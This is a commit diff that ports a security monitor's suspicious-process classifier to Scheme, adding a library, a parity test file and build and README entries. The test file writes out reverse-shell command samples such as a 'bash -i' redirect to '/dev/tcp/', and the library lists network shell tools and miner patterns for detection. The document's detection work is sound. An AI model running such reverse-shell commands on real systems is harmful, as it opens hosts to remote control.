jsecmon: port SuspiciousPatterns process classifier as untyped layer

Jaime Fournier <jaimef@linbsd.org>

504421563d45aa71bb84ed5b01b5e7e6863b69f4

diff --git a/Makefile b/Makefile
index 8f97bbf..c93defb 100644
--- a/Makefile
+++ b/Makefile
@@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme
 BUILD  ?= build/rust
 TYPED  := $(wildcard typed/*.ss)
 
-.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check checks clean
+.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check checks clean
 # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon
 # (a second --libdirs would replace, not append, the jerboa one).
 LIBDIRS := "$(JERBOA)/lib:$(CURDIR)"
@@ -114,6 +114,12 @@ buffer-check:
 dns-sniffer-check:
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/dns_sniffer_check.ss
 
+# Suspicious-process classifier (secmon SuspiciousPatterns::check_suspicious):
+# shell/tool-from-service, reverse-shell + miner command-line patterns. Pure
+# string classification, no native lib.
+suspicious-check:
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/suspicious_check.ss
+
 # Everything that runs through the Jerboa side of the bridge, one shot.
 checks: kernels-check
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss
@@ -127,6 +133,7 @@ checks: kernels-check
 	$(LOADER_ENV) $(SCHEME) --libdirs $(LIBDIRS) --script examples/yaml_rules_check.ss
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/buffer_check.ss
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/dns_sniffer_check.ss
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/suspicious_check.ss
 
 clean:
 	rm -rf $(BUILD)
diff --git a/README.md b/README.md
index 980c5f5..9876814 100644
--- a/README.md
+++ b/README.md
@@ -33,6 +33,7 @@ make sigma-check     # Sigma YAML rule importer vs secmon conversion vectors
 make yaml-rules-check # user YAML detection rules (threshold/distinct/sequence/match)
 make buffer-check    # the agent's encrypted event ring buffer (FIFO + priority eviction)
 make dns-sniffer-check # DNS wire-format parser (QNAME/compression/answers) + dedup state
+make suspicious-check # SuspiciousPatterns: shell/tool-from-service, revshell + miner
 make checks          # every Jerboa-side check in one shot
 ```
 
@@ -92,5 +93,6 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
 | `geoip` (CSV GeoIP/ASN, IPv4+IPv6, binary-search range lookup, is_private) | `jsecmon/geoip.ss` | ✅ **untyped layer** — full port of secmon's `src/geoip.rs`: parse `start,end,country,asn,name` CSV rows (v4 + one-`::`-expanding v6), sort-by-start + binary-search lookup, RFC1918/loopback/link-local/multicast/ULA/CGNAT → synthetic `PRIVATE`. Pure parsing + integer math + file read, so untyped. `make geoip-check` runs secmon's geoip vectors. |
 | `storage` impossible_travel | `jsecmon/threats.ss` | ✅ **untyped layer** — geoip-gated (reads `SECMON_GEOIP_CSV`): pair a user's consecutive successful `auth_event`s, fire `high` when the two source IPs resolve to different countries within `SECMON_TRAVEL_GAP_MIN` (default 30). Private IPs are dropped before pairing. `make geoip-check` proves the fire + the gap/same-country/private/cross-user negatives. |
 | `buffer::ring` (StoredEvent ring buffer) | `jsecmon/buffer.ss` | ✅ **untyped layer** — port of secmon's `src/buffer/ring.rs`: the agent's bounded in-memory event ring. FIFO list + monotonic seq numbering, priority eviction (`event_severity_u8` table, drop lowest-severity oldest-first, oldest-critical last), seq/time-range polling, FIFO delivery-ack (`clear_before`), and the little-endian header codec (`seq u64 ∥ ts i64 ∥ sev u8 ∥ payload`). Pure mechanics, so untyped — the one security step, ECIES payload encryption, is FFI-deferred: the caller hands `buffer-store!` opaque ciphertext bytes. `make buffer-check` reproduces secmon's three ring tests (store/seq, priority eviction, FIFO-oldest) + codec round-trip. |
+| `monitor::events::SuspiciousPatterns` (process-spawn classifier) | `jsecmon/suspicious.ss` | ✅ **untyped layer** — `check_suspicious(process, parent)`: shell-from-service, attack-tool-from-service (name exact-match or exe suffix), reverse-shell command-line patterns, and crypto-miner name/cmdline patterns, in secmon's order, returning the same reason string. Pure string classification like triage. Pins two corners the Rust depends on: a missing parent short-circuits to "clean" before any check, and `str::contains` is a *literal* substring test (so `python -c.*socket` is literal, not a regex). `make suspicious-check` reproduces secmon's two events.rs tests + the other three signals + both corners. |
 | `monitor::dns_sniffer` (DNS wire parser + dedup) | `jsecmon/dns-sniffer.ss` | ✅ **untyped layer** — the platform-independent half of secmon's `src/monitor/dns_sniffer.rs`: the DNS wire-format parser (QNAME decoding with compression-pointer chasing capped at 128 steps, QTYPE→string, question + A/AAAA answer-RR extraction) and the 5s dedup / 30s cleanup state machine. Every bounds check is preserved — a truncated/malformed/looping packet yields `#f`, never a bad read. Pure byte parsing → untyped, like geoip. The AF_PACKET raw-socket capture + `/proc` PID lookup stay for the monitor I/O driver. `make dns-sniffer-check` reproduces secmon's parser + dedup tests (+ AAAA, qtype table, pointer-loop/qdcount guards). |
 | monitors / server / ebpf / dtrace | —  | ⏳ I/O+async+FFI, last           |
diff --git a/examples/suspicious_check.ss b/examples/suspicious_check.ss
new file mode 100644
index 0000000..fb81b72
--- /dev/null
+++ b/examples/suspicious_check.ss
@@ -0,0 +1,75 @@
+;;; Parity check for (jsecmon suspicious) against secmon's SuspiciousPatterns
+;;; tests in src/monitor/events.rs (test_suspicious_shell_from_service,
+;;; test_normal_shell_not_suspicious), plus the other three signals and the two
+;;; faithfulness corners: the parent-None short-circuit and the literal (not
+;;; regex) substring match.
+;;;
+;;;   scheme --libdirs "$JERBOA/lib:." --script examples/suspicious_check.ss
+
+(import (jerboa prelude)
+        (jsecmon suspicious))
+
+(def fails 0)
+(def (check name got want)
+  (let ((ok (equal? got want)))
+    (unless ok (set! fails (+ fails 1)))
+    (displayln (if ok "  ok   " "  FAIL ") name
+               (if ok "" (str "   got " got " want " want)))))
+
+;; ── secmon's two unit tests ──────────────────────────────────────────────────
+(displayln "secmon events.rs vectors:")
+;; bash spawned by gitea (a service) -> suspicious
+(check "shell from service fires"
+       (check-suspicious "bash" "/bin/bash" '("bash") "gitea")
+       "Shell 'bash' spawned by service 'gitea'")
+;; bash spawned by sshd (not a service) -> not suspicious
+(check "shell from sshd is clean"
+       (check-suspicious "bash" "/bin/bash" '("bash") "sshd")
+       #f)
+
+;; ── the other two service-parent signals ─────────────────────────────────────
+(displayln "tool-from-service:")
+(check "curl from nginx fires"
+       (check-suspicious "curl" "/usr/bin/curl" '("curl" "http://x/") "nginx")
+       "Suspicious tool 'curl' spawned by service 'nginx'")
+;; exe-suffix path: name isn't the tool but the exe ends with it
+(check "exe-suffix nc from apache"
+       (check-suspicious "weird" "/tmp/nc" '("weird") "apache")
+       "Suspicious tool 'weird' spawned by service 'apache'")
+(check "tool from non-service is clean"
+       (check-suspicious "curl" "/usr/bin/curl" '("curl") "cron")
+       #f)
+
+;; ── reverse-shell + miner (need a parent, but not a service) ─────────────────
+(displayln "reverse-shell + miner:")
+(check "bash -i revshell"
+       (check-suspicious "bash" "/bin/bash" '("bash" "-i" ">&" "/dev/tcp/10.0.0.1/4444" "0>&1") "init")
+       "Potential reverse shell pattern detected")
+(check "xmrig miner by name"
+       (check-suspicious "xmrig" "/tmp/xmrig" '("xmrig" "--donate-level" "1") "systemd")
+       "Potential crypto miner pattern detected")
+(check "stratum url miner by cmdline"
+       (check-suspicious "x" "/tmp/x" '("x" "-o" "stratum+tcp://pool:3333") "init")
+       "Potential crypto miner pattern detected")
+
+;; ── faithfulness corners ─────────────────────────────────────────────────────
+(displayln "faithfulness corners:")
+;; a blatant reverse shell with NO parent is still #f (secmon's early return).
+(check "no parent short-circuits"
+       (check-suspicious "bash" "/bin/bash" '("bash" "-i" "/dev/tcp/1.2.3.4/9") #f)
+       #f)
+;; literal substring: "python -c.*socket" needs the literal ".*", so a real
+;; python reverse one-liner WITHOUT ".*" does not match that pattern. With a
+;; benign (non-service) parent and no other signal, the result is #f.
+(check "literal pattern, no regex match"
+       (check-suspicious "python3" "/usr/bin/python3" '("python" "-c" "import socket") "init")
+       #f)
+;; shell-from-service wins over a revshell cmdline (order: shell check first).
+(check "shell-from-service precedence"
+       (check-suspicious "sh" "/bin/sh" '("sh" "-c" "/dev/tcp/1/2") "redis")
+       "Shell 'sh' spawned by service 'redis'")
+
+(newline)
+(if (= fails 0)
+    (displayln "OK: suspicious matches secmon's SuspiciousPatterns behaviour.")
+    (begin (displayln fails " FAILURES") (exit 1)))
diff --git a/jsecmon/suspicious.ss b/jsecmon/suspicious.ss
new file mode 100644
index 0000000..9814e6f
--- /dev/null
+++ b/jsecmon/suspicious.ss
@@ -0,0 +1,94 @@
+#!chezscheme
+;;; jsecmon suspicious-process classifier (secmon SuspiciousPatterns), untyped.
+;;;
+;;; Port of `SuspiciousPatterns::check_suspicious` from secmon's
+;;; src/monitor/events.rs: given a process and its parent, decide whether the
+;;; spawn looks like an attack and return a human-readable reason (or #f). Four
+;;; signals, in secmon's order:
+;;;   1. a shell whose parent is a network service  (gitea → bash)
+;;;   2. an attack tool whose parent is a service    (nginx → curl)
+;;;   3. a reverse-shell command-line pattern
+;;;   4. a crypto-miner name or command-line pattern
+;;;
+;;; This is positive detection logic over process metadata — the same kind of
+;;; pure string classification as the triage engine — so it's untyped Jerboa,
+;;; alongside triage/detect/threats, not a typed crypto kernel.
+;;;
+;;; Two faithfulness points the Rust pins that are easy to get wrong:
+;;;   • A missing parent short-circuits to "not suspicious" *before* any check —
+;;;     even a blatant reverse shell with no parent returns #f.
+;;;   • Rust `str::contains` is a *literal* substring test, so patterns like
+;;;     "python -c.*socket" match the literal ".*", not a regex. Ported verbatim.
+;;;
+;;; Verified against secmon's events.rs tests in examples/suspicious_check.ss.
+
+(library (jsecmon suspicious)
+  (export check-suspicious reverse-shell-pattern? crypto-miner-pattern?)
+  (import (except (chezscheme)
+                  make-hash-table hash-table?
+                  sort sort!
+                  printf fprintf
+                  path-extension path-absolute?
+                  with-input-from-string with-output-to-string
+                  iota 1+ 1-
+                  partition
+                  make-date make-time)
+          (except (jerboa prelude) meta atom?))
+
+  (def *shells* '("bash" "sh" "zsh" "fish" "dash" "tcsh" "ksh"))
+  (def *services*
+    '("nginx" "apache" "httpd" "gitea" "gitlab" "jenkins"
+      "tomcat" "java" "node" "python" "php-fpm" "postgres"
+      "mysql" "redis" "mongodb" "docker" "containerd"))
+  (def *attack-tools*
+    '("nc" "netcat" "ncat" "socat" "curl" "wget"
+      "python" "perl" "ruby" "lua" "php"
+      "base64" "xxd" "openssl" "nmap" "masscan"))
+  ;; literal substrings (secmon's `str::contains`), NOT regexes
+  (def *revshell-patterns*
+    '("/dev/tcp/" "/dev/udp/" "bash -i" "nc -e" "ncat -e"
+      "python -c.*socket" "perl -e.*socket" "ruby -rsocket"
+      "php -r.*fsockopen" "mkfifo" "telnet.*\\|.*sh"))
+  (def *miner-names*
+    '("xmrig" "minerd" "cpuminer" "cgminer" "bfgminer"
+      "ethminer" "ccminer" "nheqminer"))
+  (def *miner-patterns*
+    '("stratum+tcp://" "stratum+ssl://" "--donate-level"
+      "-o pool." "--coin=" "nicehash"))
+
+  ;; #t iff `hay` contains any of `needles` as a literal substring.
+  (def (contains-any? hay needles)
+    (and (any (lambda (n) (string-contains hay n)) needles) #t))
+  ;; #t iff `s` ends with any of `sfxs`.
+  (def (suffix-any? s sfxs)
+    (and (any (lambda (x) (string-suffix? x s)) sfxs) #t))
+
+  (def (reverse-shell-pattern? cmdline)        ;; cmdline already joined+lowercased
+    (contains-any? cmdline *revshell-patterns*))
+  (def (crypto-miner-pattern? name-lower cmdline)
+    (or (contains-any? name-lower *miner-names*)
+        (contains-any? cmdline *miner-patterns*)))
+
+  ;; process: name/exe strings + cmdline (list of argv strings); parent-name is
+  ;; the parent process name, or #f if there is no parent. -> reason | #f.
+  (def (check-suspicious proc-name proc-exe proc-cmdline parent-name)
+    (if (not parent-name)
+        #f
+        (let ((pn  (string-downcase proc-name))
+              (par (string-downcase parent-name))
+              (cmd (string-downcase (string-join proc-cmdline " "))))
+          (cond
+            ;; service -> shell
+            ((and (contains-any? pn *shells*) (contains-any? par *services*))
+             (str "Shell '" proc-name "' spawned by service '" parent-name "'"))
+            ;; service -> attack tool (name exact-match OR exe suffix)
+            ((and (or (member pn *attack-tools*) (suffix-any? proc-exe *attack-tools*))
+                  (contains-any? par *services*))
+             (str "Suspicious tool '" proc-name "' spawned by service '" parent-name "'"))
+            ;; reverse-shell command line
+            ((reverse-shell-pattern? cmd)
+             "Potential reverse shell pattern detected")
+            ;; crypto miner
+            ((crypto-miner-pattern? pn cmd)
+             "Potential crypto miner pattern detected")
+            (else #f))))))